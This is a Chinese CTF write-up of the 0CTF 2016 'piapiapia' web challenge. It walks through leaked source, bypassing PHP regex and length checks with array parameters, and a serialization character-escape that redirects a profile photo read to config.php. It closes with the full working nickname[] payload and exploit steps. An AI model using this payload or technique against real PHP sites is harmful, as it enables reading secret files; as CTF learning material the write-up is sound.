Noting of [0CTF 2016]piapiapia
这题算是第一次做比较长的web题, 收获很多, 好好记录一下
概述
这道题主要的考察点有:
- 源码泄露
- 数组绕过正则匹配和
strlen()
- 反序列化字符逃逸
源码泄露
就一个登录页面, 随便输入尝试弱密码登录无果.
测试是否存在sql, 也没什么收获
随手一试www.zip
, 可以下载 存在源码泄露
源码主要有这几个文件:
- update.php
- register.php
- profile.php
- index.php
- config.php
- class.php
代码审计
反序列化字符逃逸
做ctf肯定要找flag, config.php
中就有$flag
, 所以要想办法读取config.php
.
大概浏览了一下, 在profile.php
中发现了这么一行
$photo = base64_encode(file_get_contents($profile['photo']));
再往上找找看这个函数中的参数是否可控, 下面是往上找的过程:
1 | // profile.php |
看到这里大概就有思路了, $profile
是上传至数据库后重新读取下来的, 而且上传之前会对序列化串进行一次替换, 替换存在字符数量增加, 也就意味着可以字符逃逸, 如果有字符逃逸, 那么完全可以伪造一个假的$profile['photo']='config.php'
, 然后读取flag
再继续往前看
1 | // register.php 提供了注册的入口, 注册完就能随便登录了, 登录后就能上传profile |
可以看到我们可以控制的有很多参数phone, email, nickname
都可以, 但是如果要进行字符逃逸, 必然会被前面的正则发现导致上传失败, 所以要想办法绕过
数组绕过
php中的数组是一个很神奇的东西, 他会有下面这些特性
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
5.3以下版本无报错, 5.3及以上版本会出现E_NOTICE级别错误, 下面有关于错误等级的一些知识我们可以看到, 如果参数是数组, 那么
preg_match()
和strlen()
都会返回NULL,并且出现E_NOTICE错误, 这个错误是不影响程序继续运行的.
所以, 我们只要传参nickname[]=xxxxxx
, 就可以绕过这个正则, 任意控制参数$_POST['nickname']
了
1 | if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) |
PHP 错误等级
E_NOTICE 表示一般情形不记录,只有程式有错误情形时才用到,例如企图存取一个不存在的变数,或是呼叫 stat() 函式检视不存在的档案。
E_WARNING 通常都会显示出来,但不会中断程式的执行。这对除错很有效。例如:用有问题的常规表示法呼叫 ereg()。
E_ERROR 通常会显示出来,亦会中断程式执行。意即用这个遮罩无法追查到记忆体配置或其它的错误。
E_PARSE 从语法中剖析错误。
E_CORE_ERROR 类似 E_ERROR,但不包括 PHP核心造成的错误。
E_CORE_WARNING 类似 E_WARNING,但不包括 PHP 核心错误警告。
所以整个流程就是
通过绕过正则任意上传nickename
-> 替换serialize_string
中的字符改变字符长度造成字符逃逸 -> 利用file_get_contents()
读取config.php
payload构造
那么要怎么构造nickname[]
来进行字符逃逸呢,
先来看看这个序列化字符串大概是怎样的
1 | $profile['phone'] = '11111111111'; |
如果我们想最后反序列化出来的photo => config.php
,
那么传上去的nickname
最后一段应该是这个";}s:5:"photo";s:10:"config.php";}
, 这段字符一共34个, 再看一下替换的函数
1 | $safe = array('select', 'insert', 'update', 'delete', 'where'); |
可以看到, 序列化后的字符串serialize_string
中存在where
时会被替换成hacker
, 那么字符串长度就会+1
所以nickname
中需要34个where
就能把后面的字符挤出去实现逃逸, 可以看一下具体效果
1 | # ?nickname[]= |
等到反序列化的时候, 就只会反序列化前面一部分了
1 | a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:15:"11111111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";} |
结果就会是:
1 | array(4) { ["phone"]=> string(11) "11111111111" |
成功了!
EXP
先随便注册一个用户并登录,在profile
上传的时候先随便填写数据,再抓包,将nickname
改成nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
上传完后访问profile.php
, 查看图片的地址,最后把base64
转成文本就有flag了